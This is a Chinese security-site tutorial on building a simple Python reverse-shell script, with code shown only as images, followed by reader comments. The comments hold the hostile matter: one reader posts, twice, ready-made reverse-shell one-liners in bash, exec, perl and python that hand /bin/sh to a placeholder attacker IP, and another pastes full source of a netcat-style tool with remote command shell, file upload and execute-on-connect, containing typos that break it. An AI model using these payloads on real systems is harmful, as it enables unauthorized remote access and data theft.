如何DIY一个简单的反弹Shell脚本

2017-12-11 378028人围观 ,发现 10 个不明物体 工具新手科普

*本文作者: sjy93812,属于FreeBuf原创奖励计划,禁止转载

0×00起因

之前在一个服务器上做测试的时候需要从本地连到服务器上,但是服务器没有开ssh服务,但是有python环境,想着自己写一个脚本可以从自己本地连接到服务器,然后服务器端可以将处理完的请求结果返回到本地。

0×01设计的构图

        image.png

 0×02编码实现

① 服务器与本地实现通讯

首先我们编写在服务器端需要运行的程序,这个程序主要的功能就是接收传入的数据然后对传入的数据进行处理,再然后就是把处理完的结果发送出去。

image.png

大概用着这几个模块,然后定义几个全局的变量。

然后这里我们先编写一个用于提示的函数use()

image.png

然后编写我们的主函数

image.png

这里我们对之前的变量进行全局化,然后检测当脚本运行时是否携带命令,如果没有带命令参数则返回我们的提示信息。

接下来,我们开始写我们的功能函数,第一个功能就是能否对外发送信息,并接收到返回的信息。

image.png

这里我们定义一个函数,首先使用socket创建一个客户端,然后尝试连接指定的地址和端口,默认已经连接成功。然后这里判断该函数是否被传入了数据,如果传入的数据不为空,就将传入的数据发送到指定的地址。

接着我们要等待是否有返回包,对返回包进行接收:

image.png

这里首先测试一下,可以使用向百度发送一个get请求看是否会正常接收到返回的数据。

这里先将target设置为www.baidu.com  port设置为80 如下图

image.png

image.png

然后运行程序,可以看到有返回数据,证明这里的发送数据和接收数据的功能是成功的。

image.png

这里已经可以得到输入了,接下来就是我们要把得到的命令放在本地的操作系统中去运行。

这里我们定义一个run_command函数去执行我们的系统命令还有返回执行结果。

image.png

然后我们测试一下这个函数是否可以成功运行。

image.png

我们这里执行一个pwd的本地命令,看是否可以正常的运行并返回

image.png

然后我们写一个类似于服务端的程序,这个脚本运行在服务器端,必然不会主动去发送请求,必须先接收到命令,然后把命令执行再将命令执行的结果返回。

image.png

这里我们测试服务端是否可以正常使用,这里当服务端接收到数据之后,将数据打印出来,并且向客户端返回信息。

image.png

这里可以看到服务器端和我们本地的客户端已经可以正常通信了,我们把几个重要的函数都已经测试成功了,后续将把这些函数串联起来,并实现简单的shell反弹效果。

 本地执行简单的服务器命令

在服务器端代码中添加多线程函数,用于处理多个客户端连接的问题,首先我们在loop_server函数中加入多线程处理多个客户端连接的代码,这里的意思为每当传入一个端户端连接时启动一个新的线程去处理。

image.png

将主函数进行调整,把loop_server函数融入到main函数中,然后将主函数设置为首先启动的函数。

image.png

此时我们如果直接测试这个脚本的话,你会发现每当运行的时候就会直接退出了,也没有报错,我们分析一下就会发现,这里我们没有启动监听,自然就会退出了,这里我们要写上当没有监听时,我们将线程先阻塞掉,添加以下代码

image.png

这里可以看到需要两个参数,一个是target一个是port,我们设置成,这两个参数我们都在命令行中获取到,在主函数中添加以下代码:

image.png

这段代码的意思就是在命令行中读取相应的参数,读取到响应的参数之后就要按照不同的参数来启动不同的服务了

image.png

接下来就要开始写我们真正功能执行的函数了

image.png

这个函数就是为了接收客户端发来的命令,并且调用本地执行,然后将执行的结果返回给客户端。

我们直接来启动我们的服务器端的脚本:

image.png

L参数是给脚本说要启动监听,p参数是为了告诉脚本要运行在9999端口上,-c命令是说明我们要执行的是命令功能。

我们在客户端同样启动我们的脚本

image.png

T参数是为了告诉脚本我们要连接的目标,p就是我们要连接的目标的端口

按 ctrl+d键来告诉脚本接下来的命令要发送

image.png

按下之后服务器端会给你一个提示,说明已经准备好了,可以发送命令了

我们这里使用pwd命令来测试

image.png

这里服务器端返回了消息,这里我们就把一个简单的命令执行写完了,之后会往里添加文件上传等功能。这里提供一个完整的测试代码下载地址:链接: https://pan.baidu.com/s/1o76TH4e 密码: np3n 

*本文作者: sjy93812,属于FreeBuf原创奖励计划,禁止转载

这些评论亮了

  • 温加饱加富加浪 (1级) 我没有什么大的理想,我只想温饱管够 回复
    1、利用exec弹
    $ exec 5<> /dev/tcp/your-fuxking-public-ip/your-fuxking-port 0>&1
    $ cat <&5 | while read line; do $line 2>&5 >&5; done
    2、利用bash弹
    在目标机器上执行
    bash -i >& /dev/tcp/your-fuxking-public-ip/your-fuxking-port 0>&1
    3、利用perl弹
    perl -e 'use Socket;$i="your-fuxking-public-ip";$p=your-fuxking-port;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
    4、利用python弹
    python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("your-fuxking-public-ip",your-fuxking-port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
    )41( 亮了
  • kzaopa 回复
    我看着与《Python 黑帽子:黑客与渗透测试编程之道》中的"netcat_for_py.py"脚本有些相似呢。在此基础上改进好歹注明下参考来源啊
    )21( 亮了
发表评论

已有 10 条评论

  • 温加饱加富加浪  (1级) 我没有什么大的理想,我只想温饱管够  2017-12-11 回复 1楼

    1、利用exec弹
    $ exec 5<> /dev/tcp/your-fuxking-public-ip/your-fuxking-port 0>&1
    $ cat <&5 | while read line; do $line 2>&5 >&5; done

    2、利用bash弹
    在目标机器上执行
    bash -i >& /dev/tcp/your-fuxking-public-ip/your-fuxking-port 0>&1

    3、利用perl弹
    perl -e ‘use Socket;$i="your-fuxking-public-ip";$p=your-fuxking-port;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};’

    4、利用python弹
    python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("your-fuxking-public-ip",your-fuxking-port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);’

  • kzaopa  2017-12-11 回复 4楼

    我看着与《Python 黑帽子:黑客与渗透测试编程之道》中的"netcat_for_py.py"脚本有些相似呢。在此基础上改进好歹注明下参考来源啊

  • kzaopa  2017-12-11 回复 5楼

    #!/usr/bin/env python
    #coding:utf-8
    #data:20140414
    import sys,socket,getopt,threading,subprocess

    #定义一些全局变量
    listen = False
    command = False
    upload = False
    execute = ""
    target = ""
    upload_destination = ""
    port = 0

    def client_sender(buffer):
    client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    try:
    #连接到目标主机
    client.connection((target, port))
    if len(buffer):
    client.send(buffer)
    while True:
    #现在等待数据回传
    recv_len = 1
    response = ""
    while recv_len:
    data = client.recv(4096)
    recv_len = len(data)
    response += data
    if recv_len < 4096:
    break
    print response,
    #等待更多的输入
    buffer = raw_input("")
    buffer += "\n"
    #发送出去
    client.send(buffer)
    except:
    print "[*] Exception! Exiting."
    #关闭连接
    client.close()

    def server_loop():
    global target
    #如果没有定义目标,那么我们监听所有接口
    if not len(target):
    target = ’0.0.0.0′
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.bind((target, port))
    server.listen(5)
    while True:
    client_socket, addr = server.accept()
    #分拆一个线程处理新的客户端
    client_thread = threading.Thread(target=client_handler, atgs=(client_socket,))
    client_thread.start()

    def run_command(command):
    #换行
    command = command.rstrip()
    #运行命令并将输出返回
    try:
    output = subprocess.check_output(command, stderr=subprocess.STDOUT, shell=True)
    except:
    output = "Failed to execute command.\r\n"
    #将输出发送
    return output

    def client_handler(client_socket):
    global upload
    global execute
    global command

    #检测上传文件
    if len(upload_destination):
    #读取所有的字符并写下目标
    file_buffer = ""
    #持续读取数据直到没有符合的数据
    while True:
    data = client_socket.recv(1024)
    if not data:
    break
    else:
    file_buffer += data
    #现在我们接收这些数据并将他们写出来
    try:
    file_descriptor = open(upload_destination, ‘wb’)
    file_descriptor.write(file_buffer)
    file_descriptor.close()
    #确认文件已经写出来
    client_socket.send("Successfully saved file to %s\r\n" % upload_destination)
    except:
    client_socket.send("Failed to save file to %s\r\n" % upload_destination)
    #检查命令执行
    if len(excute):
    #运行命令
    output = run_command(execute)
    client_socket.send(output)
    #如果需要一个命令行shell,那么我们进入 另一个寻黄
    if command:
    while True:
    #跳出一个窗口
    client_socket.send("<BHP:#> ")
    #现在我们接收文件知道发现换行符(enter key)
    cmd_buffer = ""
    while "\n" not in cmd_buffer:
    cmd_buffer += client_socket.recv(1024)
    #返回就将命令输出
    response = run_command(cmd_buffer)
    #返回响应数据
    client_socket.send(response)

    def usage():
    print "BHP Net Tool"
    print
    print "Usage: bhpnet.py -t target_host -p port"
    print "-l –listen -listen on [host]:[port] for incoming connections"
    print "-e execute-file_to_run -execute the given file upon receiving a connection"
    print "-c –command -initialize a command shell"
    print "-u –upload=destination"
    print
    print
    print "Examples: "
    print "hpnet.py -t 192.168.0.1 -p 5555 -l -c"
    print "bhpnet.py -t 192.168.0.1 -p 5555 -l -u=c:\\target.exe"
    print "bhpnet.py -t 192.168.0.1 -p 5555 -l -e=\"cat /etc/passwd\""
    print "echo ‘ABCDEFGHI’ | ./bhpnet.py -t 192.168.0.1 -p 135"

    def main():
    global listen
    global port
    global execute
    global command
    global upload_destination
    global target

    #判断是否输入数据,无则调用usage函数输出帮助信息
    if not len(sys.argv[1:]):
    usage()

    #读取命令行选项
    try:
    opts,args = getopt.getopt(sys.argv[1:],"hle:t:p:cu",["help","listen","execute","target","port","command","upload"])
    except getopt.GetopError as err:
    print str(err)
    usage()
    for o,a in opts:
    if o in ("-h","–help"):
    usage()
    elif o in ("-l","–listen"):
    listen = True
    elif o in ("-e","–execute"):
    execute = a
    elif o in ("-c","–commandshell"):
    command = True
    elif o in ("-u","–upload"):
    upload_destination = a
    elif o in ("-t","–target"):
    target = a
    elif o in ("-p","–port"):
    port = int(a)
    else:
    assert False,"Unhandled Option"
    #我们是进行监听还是仅从标准输入发送数据
    if not listen and len(target) and port > 0:
    #从命令行读取内存数据
    #这里将阻塞,所以不在想标准输入发送数据时发送CTRL-D
    buffer = sys.stdin.read()
    #发送数据
    client_sender(buffer)
    #我们开始监听并准备上传文件、执行命令
    #放置一个反弹shell
    #取决于上面的命令行选项
    if listen:
    server_loop()

    main()

  • nick城市之光  2018-02-01 回复 9楼

    前一段刚发在github上自己做的远程工具,越看越像。我那个分server&client,加了动态编译还没pull,暂时只针对windows平台用rundll32也没pull,吧啦吧啦+/@_+

  • mendickxiao  (3级) script:alert(xss)  2018-03-20 回复 10楼
取消
Loading...
css.php